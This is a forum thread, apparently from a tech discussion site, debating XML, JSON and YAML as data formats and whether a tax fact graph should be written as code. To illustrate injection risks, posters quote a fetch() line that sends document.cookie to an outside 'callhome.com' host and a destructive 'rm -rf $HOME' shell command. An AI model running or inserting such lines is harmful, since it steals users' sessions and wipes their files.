XML is a cheap DSL

Post by pseudohadamard » Sun, Mar 15, 2026, 7:51 AM UTC

xienze wrote: post #52

Someone1234 wrote: post #50

Earlier quoted context omitted.

I keep seeing people make the same mistake as XML made over and over; without learning from it. I will clarify the problem thusly: > The more capabilities you add to a interchange format, the harder that format is to parse. There is a reason why JSON is so popular, it supports so little, that it is legitimately easy to import. Whereas XML supports attributes, namespaces, CDATA, DTDs, QNames, xml:base, xml:lang, XIncl…

> Whereas XML supports attributes, namespaces, CDATA, DTDs, QNames, xml:base, xml:lang, XInclude, etc etc. They gave it everything, including the kitchen sink. But you don't have to use all those things. Configure your parser without namespace support, DTD support, etc. I'd much rather have a tool with tons of capabilities that can be selectively disabled rather than a "simple" one that requires _me_ to bolt on said…

Post by imtringued » Sun, Mar 15, 2026, 10:15 AM UTC

jaen wrote: post #15

Or... you could just use a programming language that looks good and has great support for embedded domain-specific languages (eDSL), like Haskell, OCaml or Scala. Or, y'know, use the language you have (JavaScript) properly, eg. add a `sum` abstraction instead of `.reduce((acc, val) => { return acc+val }, 0)`. In particular, the problem of "all the calculations are blocked for a single user input" is solved by eg. app…

Post by imtringued » Sun, Mar 15, 2026, 10:31 AM UTC

catlifeonmars wrote: post #90

n_e wrote: post #46

After thinking a bit about the problem, and assuming the project's language is javascript, I'd write the fact graph directly in javascript: const totalEstimatedTaxesPaid = writable("totalEstimatedTaxesPaid", { type: "dollar", }); const totalPayments = fact( "totalPayments", sum([ totalEstimatedTaxesPaid, totalTaxesPaidOnSocialSecurityIncome, totalRefundableCredits, ]), ); const totalOwed = fact("totalOwed", diff(tota…

This is an interesting, but objectively terrible idea. You’ve now introduced arbitrary code execution into something that should be data. Now let me send you a fact graph that contains: fetch(`https://callhome.com/collect?s=${document.cookie}`)

Post by thaumasiotes » Sun, Mar 15, 2026, 11:46 AM UTC

colonwqbang wrote: post #256

thaumasiotes wrote: post #238

Earlier quoted context omitted.

I can't really tell what you're trying to say; JSON also has no representation for rational numbers in general. The only numeric format it allows is the standard floating point "2.01e+25" format. Try representing 1/3 that way. The usual complaint about numbers not being well-defined in JSON is that you have to provide all numbers as strings; 13682916732413492 is ill-advised JSON, but "13682916732413492" is fine. That…

I didn't say that json can represent all rational numbers. I said that all json numbers have an obvious interpretation as a rational number. So far you haven't really shown an example of a json number which has an ambiguous or ill defined interpretation. Maybe you mean that json numbers may not fit into 32 bit integers or double floats. That's certainly true but I don't see it as a deficiency in the standard. There i…

Post by xigoi » Sun, Mar 15, 2026, 1:07 PM UTC

pseudohadamard wrote: post #250

eastbound wrote: post #233

Earlier quoted context omitted.

> that decision not to include comments in JSON, but I think while shocking it was and is totally correct. Yaml is fugly, but it emerged from JSON being unsupportive of comments. Now we’re stuck with two languages for configuration of infrastructure, a beautiful one without comments so unusable, the other where I can never format a list correctly on the first try, but comments are ok.

YAML also expanded to add arbitrary scripting via a pile of bolt-on capabilities so that it's now a serialisation language that's Turing-complete, or that includes Turing-complete capabilities within it, everything from: command: - /bin/sh - -c - rm -rf $HOME to: state: > {% set foo = states('...') %} {% set bar = states('...') %} {% if foo == FOO and bar == BAZ %} ... This makes it damn annoying to work with because…

  {"command": [
    "/bin/sh",
    "-c",
    "rm -rf $HOME"
  ]}